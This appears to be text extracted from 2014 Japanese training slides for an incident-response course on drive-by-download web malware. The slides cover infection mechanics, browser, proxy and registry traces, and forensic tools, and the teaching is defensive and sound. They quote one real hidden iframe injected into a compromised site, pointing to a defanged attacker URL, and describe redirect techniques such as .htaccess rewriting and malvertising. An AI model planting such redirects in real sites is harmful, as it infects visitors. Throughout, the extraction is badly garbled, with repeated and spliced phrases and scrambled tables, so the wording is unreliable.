第2日目
日目

情報セキュリティ担当者のためのインシデント対応入門
情報セキュリティ担当者のためのインシデント対応入門

マルウェア感染対応
WEB感染型マルウェア編
感染型マルウェア編
2014年
年12月
月
セクタンラボ勉強会

Copyright (C) 2014 SecTan Lab. All Rights Reserved.

講座の全体構成

講座名称

本日

主な学習内容フォレンジック基礎編

・感染PCの調査に用いる基本ツールの操作方法

WEB型マルウェア編
型マルウェア編

・感染源WEBサイトの特定・遮断方法
・感染PCに潜伏しているマルウェア検体の取得方法

メール型マルウェア編

・特定の不審メールの遮断方法
・特定の不審メール受信者の把握方法
・感染PCに潜伏しているマルウェア検体の取得方法

模擬訓練

・机上での模擬訓練により，マルウェア感染状況の把握，ならびに被害拡大防止対応の判断と指示を体験

P2

本日の学習内容
本日の学習内容••

WEB感染型
感染型マルウェアは，攻撃者のサイトを通じて，PCへの感染を広げるマル
感染型マルウェアは，攻撃者のWEBサイトを通じて，
マルウェアは，攻撃者のサイトを通じて， への感染を広げるマルウェアです。
攻撃者のWEBサイト
サイトには，ブラウザなどの脆弱性
攻撃者のサイトには，ブラウザなどの脆弱性を攻撃するには，ブラウザなどの脆弱性を攻撃するコードが埋め込まれてを攻撃するコードが埋め込まれていコードが埋め込まれているため，アクセスしただけで感染する恐れがあります。
るため，アクセスしただけで感染する恐れがあります。
– このように，ブラウザを通じて，PC利用者の意思とは無関係に，マルウェアのダウンロードと実行を行う攻撃を，ドライブ・バイ・ダウンロード攻撃（Drive-By-Download）といいます。

•

本講座では，WEB感染型マルウェアの感染メカニズム，ならびに痕跡の調査方法を学
感染型マルウェアの感染メカニズム，ならびに痕跡の調査方法を学
本講座では，習します。

P3

本日の次第第1章
章 マルウェア感染メカニズムと痕跡– WEB感染型マルウェア感染時の挙動ならびに痕跡の調査方法を学習します。

第2章
章 想定シナリオの対応– 想定シナリオにおける対応を疑似体験します。

P4

想定するシステム環境（模擬システム）•

本講座では，次のシステム環境を想定しています
本講座では，次のシステム環境を想定しています。
しています。
模擬システムの構成
Internet

Firewall

電算センター
電算センター
DMZ

業務サーバ
セグメント

Firewall• PCは，Proxy等を経由してインターネットに接続※PCとインターネットの直接通信は，Firewallで全て遮断

Web
Proxy
Mail
DNS
Firewall

WAN回線

本社

営業所

上司
情報セキュリティ担当者
社員用PC

工場用PC
（スタンドアロン）

受講者［注意事項］ 本講座では，特に指定が無い場合，Windows7のアーチファクトを説明する。WindowsXPでは一部仕様が異なるため，注意すること。

P5

本日の想定シナリオ••

ある日，営業所の社員から，インターネットのWEBサイト閲覧中に，サイト閲覧中に，PCが不審な挙動
ある日，営業所の社員から，インターネットのサイト閲覧中に， が不審な挙動を示したとの電話連絡がありました。
状況をがマルウェアに感染したようです。
状況を確認したところ，どうやら営業所確認したところ，どうやら営業所の，どうやら営業所のPCがマルウェアに感染したようですがマルウェアに感染したようです。
さて，どうしますか？
Internet

Firewall

電算センター
電算センター
DMZ

業務サーバ
セグメント

Firewall

Web
Proxy
Mail
DNS
Firewall• WEBサイト閲覧中に，サイト閲覧中に，PCがサイト閲覧中に， が感染した可能性がある

WAN回線

本社
営業所
上司
情報セキュリティ担当者
社員用PC

受講者
P6

第1章
章 マルウェア感染メカニズムと痕跡

P7

攻撃経路の概要
攻撃経路の概要•••

攻撃者は，脆弱性攻撃コードを攻撃者は，脆弱性攻撃コードを埋め込んだ攻撃コードを埋め込んだ「埋め込んだ「攻撃コード配布サイト」を用意します
攻撃コード配布サイト」を用意します。
します。
次に，第三者のWEBサイトに不正アクセスし，攻撃コード配布サイトに自動転送するよ
サイトに不正アクセスし，攻撃コード配布サイトに自動転送するよ
次に，第三者のうコンテンツを改竄します。
PCがが改竄されたWEBサイトにアクセスすると，自動的に攻撃コード配布サイトに転送
サイトにアクセスすると，自動的に攻撃コード配布サイトに転送
竄された
され，ブラウザやプラグインに脆弱性があるとマルウェアに感染します
され，ブラウザやプラグインに脆弱性があるとマルウェアに感染します。
します。

自動転送

①PCが，改竄されたWEBサイ
トにアクセスすると，攻撃コー
ド配布サイトに転送される。

改竄された
WEBサイトサイト②PCは，攻撃コード配布サイトから脆弱性攻撃コードを含むデータ（Java Applet等）を一時フォルダにダウンロードし，ブラウザで開く。

攻撃コード
配布サイト
配布サイト

Internet

ブラウザの一時フォルダ③脆弱性攻撃コードの実行が成功
すると，攻撃コード配布サイトから
マルウェア本体がダウンロードさ
れ，実行される。

PCP8

攻撃の痕跡が残される個所•

攻撃の痕跡は，②Proxy，③攻撃元サイトに残されます。
攻撃の痕跡は，①感染PC
，①感染
，②

DMZ

Internet

①感染PC
①感染

③攻撃元サイト②Proxy個所改竄されたWEBサイト/攻撃コード配布サイト

主な痕跡① 感染PC感染•••

ブラウザの閲覧履歴，WEBサイトからダウンロードしたファイル
マルウェアの検体
マルウェアが改変したファイル/レジストリ② Proxy•

ブラウザがアクセスしたURL，IPアドレス，ファイル名③ 攻撃元サイト••改竄されたコンテンツ
脆弱性攻撃コード/マルウェア

P9

感染PC
感染

Proxy

攻撃元サイト

P 10

感染PC
感染

Proxy

攻撃元サイト攻撃元攻撃元サイトにアクセスしたPCの挙動
サイトにアクセスした の挙動
第1段階
段階 改竄されたWEBサイトへのアクセス
サイトへのアクセス
改竄された① PCは，Proxyを経由してダウンロードされたコンテンツを，ブラウザの一時フォルダに保管する。ブラウザは，一時フォルダのコンテンツを開く。
② 改竄されたコンテンツに埋め込まれたJavaScriptやiframeなどにより，攻撃コード配布サイトに自動転送される。

第2段階
段階 攻撃コード配布サイトへのアクセス① PCは，Proxyを経由してダウンロードした脆弱性攻撃コードを，ブラウザの一時フォルダに保管する。ブラウザは，一時フォルダの脆弱性攻撃コードを開く。
PCに脆弱性が存在しない場合，ここで攻撃が失敗する。
に脆弱性が存在しない場合，ここで攻撃が失敗する。
② 脆弱性攻撃が成功すると，攻撃コード配布サイトから，マルウェア本体をダウンロードする。
（脆弱性攻撃コードには制約があるため，別途マルウェアをダウンロードすることが多い）

ブラウザの一時フォルダ

DMZInternet

感染PC
感染

攻撃元サイトProxy

改竄されたWEBサイト/攻撃コード配布サイト
P 11

感染PC
感染

Proxy

攻撃元サイト

感染PCの痕跡
感染 の痕跡•

感染PCには，攻撃元サイトにアクセスした履歴，脆弱性攻撃コード，マルウェア検体な
感染 には，攻撃元サイトにアクセスした履歴，脆弱性攻撃コード，マルウェア検体など，さまざまな痕跡が残されます。

感染PCの
感染 の痕跡
調査個所

説明•ブラウザの閲覧履歴に，アクセスしたURLとアクセス日時が記録されている。

•

一時フォルダ（キャッシュフォルダ）に，ブラウザで閲覧したコンテンツが保管されている。

•

Java AppletやZIPファイルなどの各種一時フォルダに，ブラウザで閲覧したコンテンツが保管されている。

•

ファイルシステム，レジストリなどに，感染により改変された痕跡が残る。

ブラウザの閲覧履歴

ブラウザの一時フォルダ（ブラウザキャッシュ）各種一時フォルダ

ファイルシステム，レジストリ

P 12

感染PC
感染

Proxy

攻撃元サイト

感染PCの解析ツール
感染 の解析ツール•

感染PCの解析に利用する解析ツールを紹介します。
感染 の解析に利用する解析ツールを紹介します。
主な解析ツール
分類

ツールの名称

概要

Browsing History View
（Nirsoft）

Browsing History View
http://www.nirsoft.net/utils/browsing_history_view.html
各種ブラウザの閲覧履歴を解析する。（GUIツール）
稼働中のPCの閲覧履歴，およびエビデンスとして取得した閲覧履歴ファイルの解析機能などを有する。

IE Cache View
（Nirsoft）

IE Cache View
http://www.nirsoft.net/utils/ie_cache_viewer.html
Internet Explorerのキャッシュファイルを解析する。（GUIツール）
稼働中のPCのキャッシュ，およびエビデンスとして取得したキャッシュの解析機能などを有する。ただし，エビデンスとして取得したキャッシュは，解析できな
い場合がある。

各種一時フォルダ

（特になし）（特になし）

ファイルシステム，
レジストリ

Log2timeline
Registry Viewer
Autoruns（基礎編で学習したツールのため説明割愛）

ブラウザの
閲覧履歴

ブラウザの
一時フォルダ（ブラウザキャッシュ）

P 13

感染PC
感染

Proxy

攻撃元サイト
閲覧履歴

感染PC
感染
キャッシュ 一時フォルダ File./Reg.

ブラウザの閲覧履歴の保管場所••

ブラウザの閲覧履歴は，ファイルとブラウザの閲覧履歴は，ファイルとして保管されています。
ただし，ブラウザをプライベートモードで起動した場合，ならびにブラウザの終了時に閲
ただし，ブラウザをプライベートモードで起動した場合，ならびにブラウザの終了時に閲
覧履歴を削除する設定にしている場合は，履歴が保存されません。

ブラウザの閲覧履歴ファイル
ブラウザ

保存場所
［全体履歴］*1
C:¥Users¥【ユーザー名】¥AppData¥Local¥Microsoft¥Windows¥History¥His
tory.IE5¥index.dat

IE8-IE9［週・日単位の履歴］*1
C:¥Users¥【ユーザー名】¥AppData¥Local¥Microsoft¥Windows¥History¥His
tory.IE5¥MSHist01【yyyymmddyyyymmdd】 *2¥index.dat
IE10

C:¥Users¥【ユーザー名
ユーザー名】】¥AppData¥Local¥Microsoft¥Windows¥WebCache¥WebCacheV01.dat*1 保護モード/UACが有効の場合は，[前略] ¥History.IE5¥Lowフォルダ内に，index.datが保管される。
@IT Internet Explorerの保護モードとは？ http://www.atmarkit.co.jp/ait/articles/1405/16/news128.html*2 前半のyyyymmddは記録開始年月日，後半は記録終了年月日を表している。

P 14

感染PC
感染

Proxy

攻撃元サイト
閲覧履歴

感染PC
感染
キャッシュ 一時フォルダ File./Reg.

Browsing History View••

Browsing History Viewは，各種ブラウザの閲覧履歴を解析するツールです。
は，各種ブラウザの閲覧履歴を解析するツールです。
アクセスしたURL，，アクセス日時（日本時間），アクセス回数などを表示できます。
アクセスした

P 15

感染PC
感染

Proxy

攻撃元サイト
閲覧履歴

感染PC
感染
キャッシュ 一時フォルダ File./Reg.

[実習
実習01]
Browsing History View
実習•

実習用PCで，History Viewの操作方法を確認します。
の操作方法を確認します。
実習用 で，Browsing
で，Mission01 実習用PCのブラウザ閲覧履歴の解析
実習用 のブラウザ閲覧履歴の解析
Mission02 エビデンスのブラウザ閲覧履歴の解析

P 16

感染PC
感染

Proxy

攻撃元サイト
閲覧履歴

感染PC
感染
キャッシュ 一時フォルダ File./Reg.

ブラウザの一時フォルダ•••

ブラウザは，WEBサーバおよびネットワークの負荷軽減のため，コンテンツを一時フォ
サーバおよびネットワークの負荷軽減のため，コンテンツを一時フォ
ブラウザは，
ルダにダウンロードします
回目以降のアクセスでは，一時ルダにダウンロードします。
します。2回目以降のアクセスでは，回目以降のアクセスでは，一時フォルダのコンテンツにア
一時フォルダのコンテンツにア
クセスしますクセスします。
します。
一時フォルダには，改竄されたWEBサイトのサイトのHTMLファイル，脆弱性攻撃コードを含む
ファイル，脆弱性攻撃コードを含む
一時フォルダには，改竄されたサイトのコンテンツなどが残されている可能性があります。
なお，
サイト閲覧時にウィルス対策ソフトが，一時
なお，WEBサイト閲覧時にウィルス対策ソフトが，サイト閲覧時にウィルス対策ソフトが，一時フォルダのファイルをリアルタイ
一時フォルダのファイルをリアルタイ
ム検知した場合は，攻撃元サイトにアクセスしたものの，感染を未然防止した可能性が高いと考えることができます。

ブラウザの一時フォルダ
ブラウザ

保存場所

IE8-10C:¥Users¥【ユーザー名
ユーザー名】】¥AppData¥Local¥Microsoft¥Windows¥Temporary
Internet Files¥Content.IE5¥ *1*1 保護モード/UACが有効の場合は，[前略] ¥Temporary Internet Files¥Low¥Content.IE5フォルダ内に保管される。

P 17

感染PC
感染

Proxy

攻撃元サイト
閲覧履歴

感染PC
感染
キャッシュ 一時フォルダ File./Reg.

IE Cache View•••

IE Cache Viewは，は，Internet
Explorerの一時フォルダの解析ツールです。
の一時フォルダの解析ツールです。
は，一時フォルダにダウンロードしたファイル名，，アクセス日時などを表示できます。
一時フォルダにダウンロードしたファイル名，URL，
フォルダにダウンロードしたファイル名，
オフラインで解析する場合は，エビデンスとして取得したTemporary
Internet Files
オフラインで解析する場合は，エビデンスとして取得した
フォルダを指定します
フォルダを指定します。
します。
– 本ツールで解析できない場合もあります。その場合は，キャッシュファイルを直接調査します。

P 18

感染PC
感染

Proxy

攻撃元サイト
閲覧履歴

感染PC
感染
キャッシュ 一時フォルダ File./Reg.

[実習
実習02]
IE Cache View
実習•

実習用PCで，の操作方法を確認します。
実習用 で，IE
で， Cache Viewの操作方法を確認します。

Mission01 実習用PCのブラウザ一時フォルダの解析
実習用 のブラウザ一時フォルダの解析
Mission02 エビデンスのブラウザ一時フォルダの解析

P 19

感染PC
感染

Proxy

攻撃元サイト
閲覧履歴

感染PC
感染
キャッシュ 一時フォルダ File./Reg.

各種一時フォルダ•WEBサイト閲覧時に，ブラウザのサイト閲覧時に，ブラウザの一時
サイト閲覧時に，ブラウザの一時フォルダではなく，アプリケーション固有の一時
一時フォルダではなく，アプリケーション固有の一時
フォルダに保管されるコンテンツもあります。（例：JavaApplet））
フォルダに保管されるコンテンツもあります。（例：•ブラウザ一時フォルダと同様に，WEBサイト閲覧時にウィルス対策ソフトがサイト閲覧時にウィルス対策ソフトが，各種一時
ブラウザ一時フォルダと同様に，サイト閲覧時にウィルス対策ソフトが，各種一時
フォルダのファイルをリアルタイム検知した場合は，攻撃元サイトにアクセスしたものの，フォルダのファイルをリアルタイム検知した場合は，攻撃元サイトにアクセスしたものの，感染を未然防止した可能性が高いと考えることができます。
感染を未然防止した可能性が高いと考えることができます。

P 20

感染PC
感染

Proxy

攻撃元サイト
閲覧履歴

感染PC
感染
キャッシュ 一時フォルダ File./Reg.

一時フォルダの保管場所
一時フォルダの保管場所•

WEB感染型マルウェアでは感染型マルウェアではJavaの脆弱性を攻撃されることが多いため，の脆弱性を攻撃されることが多いため，Javaの一時の一時感染型マルウェアではの脆弱性を攻撃されることが多いため，フォルダの保管場所を理解する必要があります。
◆Java 1.7（
（Java Applet））
フォルダ名
C:¥Users¥【ユーザー名
ユーザー名】】¥AppData¥LocalLow¥Sun¥Java¥Deployment¥cache¥6.0¥【半角数字1～2桁】¥ （フォルダ）

説明
ファイル名は，ランダムな英数字が付定される。以下にファイル名の一例を示す。
①2787d3d8-726a909f
Java Classファイル（シグネチャ0xCA FE BA BE）
またはJARファイル（シグネチャ 0x50 4B=“PK” ）②2787d3d8-726a909f.idx
Java Classファイルのダウンロード元URL，IPアドレスなどが格納されているファイル（参考） ZIP（（Explorer））
フォルダ名
C:¥Users¥【ユーザー名
ユーザー名】】¥AppData¥Local¥
Temp¥Temp1_【ファイル名.zip】 （フォルダ）

備考・WEBサイト上のZIPの内容を開く（一覧表示）すると，ブラウザの一時フォルダにZIPファイルがダウンロードされる。
ZIPに格納されているファイルを開くと，このフォルダに一時ファイルが作成される。
P 21

感染PC
感染

Proxy

攻撃元サイト
閲覧履歴

感染PC
感染
キャッシュ 一時フォルダ File./Reg.

（参考） バイナリエディタで見てみよう（
バイナリエディタで見てみよう（1）エディタで見てみよう（ ）••シグネチャとは，ファイルの種類を識別できる固有の値です
シグネチャとは，ファイルの種類を識別できる固有の値です。
です。
マルウェアが作成した拡張子の無いファイルなども，バイナリ
バイナリエディタで確認することで，マルウェアが作成した拡張子の無いファイルなども，
バイナリ
エディタで確認することで，ファイルの種類を特定できる可能性があります
ファイルの種類を特定できる可能性があります。
あります。
◆実行ファイル（PE形式）◆実行ファイル（ 形式）◆Java Classファイル
ファイル

0x4D5A(ASCII “MZ”)

0xCafeBabe（参考）Javaのロゴのロゴマークは，コーヒーカップ（参考）のロゴマークは，コーヒーカップ

P 22

感染PC
感染

Proxy

攻撃元サイト
閲覧履歴

感染PC
感染
キャッシュ 一時フォルダ File./Reg.

（参考））（参考） バイナリエディタ
バイナリエディタで見てみよう
エディタで見てみよう（で見てみよう（2）•Javaの一時フォルダに，の一時フォルダに，Classファイルとともに作成されるファイルとともに作成されるIDXファイルを確認すること
ファイルを確認することの一時フォルダに，ファイルとともに作成されるで，Classファイルのダウンロード元サイトを特定できます。
ファイルのダウンロード元サイトを特定できます。
で，ダウンロード元のURL
ダウンロード元のダウンロード元のIPアドレス
アドレス

P 23

感染PC
感染

Proxy

攻撃元サイト
閲覧履歴

感染PC
感染
キャッシュ 一時フォルダ File./Reg.

ファイルシステム，
ファイルシステム，レジストリ•••

脆弱性攻撃コードは，攻撃
脆弱性攻撃コードは，攻撃に成功すると，マルウェア本体をダウンロードし実行
攻撃に成功すると，マルウェア本体をダウンロードし実行しますに成功すると，マルウェア本体をダウンロードし実行します。
します。
マルウェアは，
マルウェアは，OS起動時に自身が自動起動されるようにレジストリなどを改変
は， 起動時に自身が自動起動されるようにレジストリなどを改変します
起動時に自身が自動起動されるようにレジストリなどを改変します。
します。
タイムライン解析により，不審なファイル作成，レジストリ更新の有無を確認することで，マルウェア検体ならびに感染日時を確認できる可能性があります。

◆マルウェアの自動起動設定の例
設定個所

説明

レジストリ SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run

改変には管理者権限が必要（脆弱性攻撃が必要）

レジストリ NTUSER.DAT¥Software¥Microsoft¥Windows¥CurrentVersion¥Run

ログオンユーザーの権限で改変可能

レジストリ SYSTEM¥CurrentControlSet¥Services

改変には管理者権限が必要（脆弱性攻撃が必要）

P 24

感染PC
感染

Proxy

攻撃元サイト

P 25

感染PC

Proxy

攻撃元サイトProxyの挙動の挙動••

ProxyははDNSに問い合わせを行い，に問い合わせを行い，PCから代理受信を依頼された攻撃元サイトのに問い合わせを行い， から代理受信を依頼された攻撃元サイトのIPから代理受信を依頼された攻撃元サイトのアドレスを確認します。（TCP/IPでは，では，IPアドレスで通信の宛先を指定
アドレスを確認します。（
では， アドレスで通信の宛先を指定します
アドレスで通信の宛先を指定します）
します）
Proxyは，攻撃元サイトからコンテンツをダウンロードし，は，攻撃元サイトからコンテンツをダウンロードし，PCに送信
は，攻撃元サイトからコンテンツをダウンロードし， に送信しますに送信します。また，接続します。また，接続
履歴をログに記録します。

ブラウザの一時フォルダ

DMZInternet

感染PC
感染

攻撃元サイトProxy

改竄されたWEBサイト/攻撃コード配布サイト

P 26

感染PC

Proxy

攻撃元サイトProxyログの痕跡
ログの痕跡
•
•

Proxyログには，感染原因や影響範囲に関する痕跡が残されます。
ログには，感染原因や影響範囲に関する痕跡が残されます。
なお，
ログに記録された日時情報は，セッション
なお，Proxyログに記録された日時情報はログに記録された日時情報は，セッション終了時刻で，セッション終了時刻です
終了時刻です。
– CONNECTメソッドで，セッションが長時間維持された場合には，ログの日時情報と，実際のセッション開始時刻とのタイムラグが大きくなります。
◆Proxyログの痕跡
ログの痕跡
調査個所

攻撃元サイトの特定

攻撃元サイトにアクセスしたPCの特定の特定感染PCによる不審な通信
感染 による不審な通信の有無の確認説明［前提］ 感染日時，感染PCのIPアドレスが特定できている・ログを感染PCのIPアドレスで絞り込み，感染日時付近のアクセスログを点検する。
［前提］ 攻撃元サイトからダウンロードされるファイル名が特定できている・ログを攻撃元サイトのファイル名で絞り込む。
［前提］ 攻撃元サイトが特定できている・ログを攻撃元サイトで絞り込む。

［前提］ 感染PCのIPアドレスが特定できている・ログを感染PCのIPアドレスで絞り込む。感染日時以降に，不審なWEBサ
イトにCONNECTしていないかなどを確認する。

P 27

Proxy感染PC

攻撃元サイトSquidログログ•

オープンソースのProxyでであるSquidのログをのログを紹介します。
オープンソースのあるのログを紹介します。

◆Squidのログ（のログ（/var/log/squid/access.log）の例
）の例
のログ（
転送
時間
(ms)

Date

23/Aug/2012

11:13:
35+0900

23/Aug/2012

11:13:
35+0900

23/Aug/2012

11:13:
35

+09
00

181

162

54

Src IP

Status192.168.0.10

TCP_
MISS/
200

192.168.0.10

TCP_
MISS/
200

192.168.0.10

TCP_
MISS/
200

Size
(byte)

URL

112009GET

http://www.yahoo.co.jp/

GET

http://www.yahoo.co.jp/javasc
ript/fp_base_bd_
ga_5.0.33.js

GET

http://k.yimg.jp/images/top/s
p2/clr/1/clr120807.css

1017352957

UN

Dst IP-

DIRECT/
124.83.17
9.227

text/html

Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; .NET CLR
2.0.50727; InfoPath.1; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)-

DIRECT/
124.83.17
9.227

application/javascr
ipt

Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; .NET CLR
2.0.50727; InfoPath.1; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)-

DIRECT/
124.83.22
6.246

text/css

Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; .NET CLR
2.0.50727; InfoPath.1; .NET CLR
3.0.4506.2152; .NET CLR 3.5.30729)

MIME

User Agentsquid.conf: logformat squid %{%d/%b/%Y %H:%M:%S %z}tl %6tr %>a %Ss/%03>Hs %<st %rm %ru %un %Sh/%<A %mt "%{User-Agent}>h"

P 28

感染PC
感染

Proxy

攻撃元サイト

P 29

感染PC

Proxy

攻撃元サイト

攻撃元サイトの挙動•••改竄されたWEBサイトにアクセスしてきたサイトにアクセスしてきたPCを，やiframeなどにより，などにより，攻改竄されたサイトにアクセスしてきた を， JavaScriptやなどにより，攻撃コード配布サイトに自動転送します。
攻撃コード配布サイトは，ブラウザ種類に応じた脆弱性攻撃コードをPCに送信
攻撃コード配布サイトは，ブラウザ種類に応じた脆弱性攻撃コードを に送信しますに送信します。
します。
なお，攻撃元サイトは，解析妨害機能を実装していることもなお，攻撃元サイトは，解析妨害機能を実装していることもあります，攻撃元サイトは，解析妨害機能を実装していることもあります。
あります。

ブラウザの一時フォルダ

DMZInternet

感染PC
感染

攻撃元サイトProxy

改竄されたWEBサイト/攻撃コード配布サイト

P 30

感染PC

Proxy

攻撃元サイト

解析妨害機能•攻撃者は，攻撃
攻撃者は，攻撃元，攻撃元サイトに解析妨害機能をサイトに解析妨害機能を実装
妨害機能を実装して実装していることがあり，検体していることがあり，検体の入手いることがあり，検体の入手に苦の入手に苦労することがあります。
することがあります。

◆解析妨害◆解析妨害機能の例
妨害機能の例
解析妨害機能説明•

同一IPアドレスに対す
同一 アドレスに対する攻撃の停止••難読化したJavaScriptを利用し，WEBブラウザ上での実行時に，HTMLタグを生成させる。難読化したJavaScriptを利用することで，ウィルス対策ソフト
による検知の回避と，攻撃コード配布サイトのURLの特定を妨害する。

•

改竄したWEBサイトに埋め込む「攻撃元WEBサイトのURL」を定期的に変更し，URLフィルタなどによる遮断を妨害する。
フリーで利用できるDynamic DNSなどから複数のURLを取得し，同一IPアド
レスに割り当てていることが多いため，ファイアウォールで，攻撃元WEBサイトのIPアドレスを遮断すれば，被害拡大を防止できる。

JavaScriptの難読化の難読化

攻撃元WEBサイトのサイトの攻撃元
URLの定期的な変更の定期的な変更

改竄したWEBサイトは，アクセスしてきたPCのIPアドレスを確認しており，最初にアクセスした１台にのみ，攻撃元WEBサイトにアクセスさせる。
同一IPアドレスからの2回目以降のアクセスには，正常なHTMLを応答し，改竄の発覚を遅らせるとともに，マルウェアの検体の入手を妨害する。

•

P 31

感染PC

Proxy

攻撃元サイト

攻撃元サイトの痕跡
•
•

感染PCや
ログの調査では，攻撃元サイトを絞り込むことができても，特定には感染 やProxyログの調査では，攻撃元サイトを絞り込むことができても，特定には至らないこともあります。
至らないこともあります。
WEBサイトのコンテンツを調査すれば，攻撃元サイトを特定することができる可能性がサイトのコンテンツを調査すれば，攻撃元サイトを特定することができる可能性があります。
◆攻撃元サイトの痕跡
調査個所

説明
•

改竄されたコンテンツ•••

Java Applet（.class， .jar，.jnlp）， PDF文書（.pdf）， Flash（.
swf）などがよく利用されている。
検証機を実際に感染させ，脆弱性攻撃コードを特定する。

••

拡張子を偽装している場合もある。
検証機を実際に感染させ，マルウェアを検体として取得する。

脆弱性攻撃コード

マルウェア本体

正規のWEBサイトのコンテンツが，攻撃元サイトに自動転送するよう改竄されている。
調査が比較的容易である。

P 32

感染PC

Proxy

攻撃元サイト

攻撃元サイトの解析ツール•

攻撃元サイトの解析に利用する解析ツールを
攻撃元サイトの解析に利用する解析ツールを紹介します。
解析に利用する解析ツールを紹介します。
主な解析ツール
分類

ツールの名称
Wget for Windows

aguse（アグス）

改竄されたコンテンツの確認

McAfee Site Advisor

WEBコンテンツをダウンロードするコマンドラインツール。ブラウザのような閲覧機能は有していないため，感染することなくコンテンツをダウンロードできる。
Wget for Windows http://gnuwin32.sourceforge.net/packages/wget.htm/
WEBサイトの危険度を判定するWEBサービス。PCで直接不審なWEBサイトにアクセスすることなく，安全に調査することができる。
aguse
http://www.aguse.jp/
McAfee Site Advisor
http://www.siteadvisor.com/

JSUNPACK

難読化されたJavaScriptを解析するWEBサービス。難読化されたJavaScriptが自動転送する，攻撃コード配布サイトのURL特定に利用できる。
JSUNPACK
http://jsunpack.jeek.org/

Wireshark

パケットキャプチャツール。（GUIツール）
パケットキャプチャを実施した状態で，検証機を感染させることにより，攻撃コード
配布サイトの特定および検体を取得できる。

Network Minor

パケット解析ツール。（GUIツール）
Wiresharkでキャプチャしたパケットを解析し，通信先の一覧表示，ダウンロードしたファイルの抽出などを行う。

脆弱性攻撃コード/
脆弱性攻撃コード
マルウェアの確認
本日は説明を割愛

概要

P 33

感染PC

Proxy

攻撃元サイト

改竄されたWEBサイトの自動転送手法
サイトの自動転送手法
改竄された
•
•

攻撃者は，攻撃コード配布サイトに自動転送するため，改竄されたWEBサイトで下表
サイトで下表攻撃者は，攻撃コード配布サイトに自動転送するため，改竄されたのような手法を利用しますのような手法を利用します。
します。
いずれの手法でも，サイトの見た目からは改竄されていることが分かりません。
いずれの手法でも，WEBサイトの見た目からは改竄されていることが分かりません。
の手法でも，◆自動転送手法の例
手法

説明•

WEBサイトに非表示のiframeタグを埋め込み，iframe内で攻撃
コード配布サイトにアクセスさせる。

•

WEBサイトにJavaScriptやPHPコードを埋め込み，攻撃コード配布サイトにアクセスさせる。

•

Apacheの「.htaccess」のrewrite機能を使い，正規WEBサイトのレスポンスを，攻撃元WEBサイトからのレスポンスに書き換える。PC
側からは，正規WEBサイトからのレスポンスにしか見えない。

•

攻撃コードを，バナー広告として配布する。悪用された広告配布会
社の広告を掲載している全てのWEBサイトが影響を受ける。
（厳密には，WEBサイトの改竄ではない）

iframeタグ
タグ

JavaScript / PHP.htaccess

バナー広告

P 34

感染PC

Proxy

攻撃元サイト

改竄されたWEBサイトに埋め込まれたサイトに埋め込まれたiframeタグタグ
改竄された
サイトに埋め込まれた•

2013年に改竄された，某サイトに埋め込まれていた
年に改竄された，某サイトに埋め込まれていたiframeタグを例示します。
タグを例示します。
年に改竄された，某サイトに埋め込まれていた◆HTMLの先頭行に埋め込まれていたの先頭行に埋め込まれていたiframeタグ
タグの先頭行に埋め込まれていた<iframe src="hxxp://bae1hei.speedwebs.net:8000/rydmtskqcjxnv?ywdbwxybfn=3469185" width="100" height="100" style="width:100px;height:100px;position:absolute;left:-10000
px;top:0;"></iframe>

画面の左上の座標が（0,0）である
画面の左上の座標が（ ）である。
）である。
このiframeは，表示は，表示位置がマイナスで指定
このは，表示位置がマイナスで指定されて位置がマイナスで指定されており，おり，画面に表示されない。

P 35

感染PC

Proxy

攻撃元サイトWget for Windows•

改竄された疑いがあるWEBサイトのサイトのHTMLコンテンツを確認したい場合は，コンテンツを確認したい場合は，wgetコマ
コマ
改竄された疑いがある
サイトのコンテンツを確認したい場合は，ンドでHTMLを取得し，テキストエディタで確認すると安全に調査することがを取得し，テキストエディタで確認すると安全に調査することができます。
ンドでを取得し，テキストエディタで確認すると安全に調査することができます。
––

ダウンロードしたHTMLファイルをブラウザで開くと危険なため，拡張子をTXTに変更してください。
（注意） 改竄されたWEBサイト，および攻撃元WEBサイトは，同一IPアドレスに対して1回しか攻撃コードを送信しないことが多いため，むやみにアクセスすると，調査が困難になります。

•書式：
書式：
wget [オプション] 取得したいコンテンツのURL［補足1］ 利用頻度の高いオプション--user-agent=“Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)”
ユーザーエージェント文字列を指定する。（上記はWindows7，IE8環境のユーザーエージェント）-d デバックオプションを出力する。コンテンツの更新日時なども表示される。

［補足2］ プロキシサーバ利用の設定••

wgetと同じフォルダに，wget.iniファイルを作成する。
wget.iniに，「http_proxy=プロキシサーバのホスト名（またはIPアドレス）:ポート番号」という書式でプロキシ
サーバを指定する。（例：http_proxy=192.168.100.50:3128）［参考］ その他オプション-c ダウンロードが中断したものを再開する。
-r -l N N階層まで再帰的にリンクをたどってコンテンツをダウンロードする。

•使用例：
使用例： www.yahoo.co.jpのデフォルトのコンテンツ（通常はindex.html）の取得
C:¥> wget --user-agent=“Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)”
http://www.yahoo.co.jp/
P 36

感染PC

Proxy

攻撃元サイト不審なWEBサイト
サイトのチェックサービス
不審なサイトのチェックサービス•

aguse*1（アグス），McAfee
Site Advisor*2など，WEBサイトの危険度を判定してくれ
サイトの危険度を判定してくれ（アグス），など，るWEBサービスを利用することで，直接不審なサービスを利用することで，直接不審なWEBサイトにアクセスすることなく，安サイトにアクセスすることなく，安サービスを利用することで，直接不審な全に調査することができます。
全に調査することができます。
– マルウェアの解析妨害機能により，このようなWEBサービスに対しては，攻撃コードが送信されない場合も多いため，他の調査手法の補助的な位置づけとして利用してください。。
◆aguse◆McAfee Site Advisor*1 aguse http://www.aguse.jp/*2 McAfee Site Advisor http://www.siteadvisor.com/
P 37

感染PC

Proxy

攻撃元サイト

難読化されたJavaScriptの解読サービスの解読サービス
難読化された••

改竄されたWEBサイトのサイトのHTMLにに埋め込まれたJavaScriptは，多くの場合，難読化さは，多くの場合，難読化さ
改竄された
サイトの
埋め込まれた
れています。攻撃コード配布サイトのを確認するためには，難読化を解除する
れています。攻撃コード配布サイトのURLを確認するためにはを確認するためには，難読化を解除する必，難読化を解除する必要があります。
要があります。
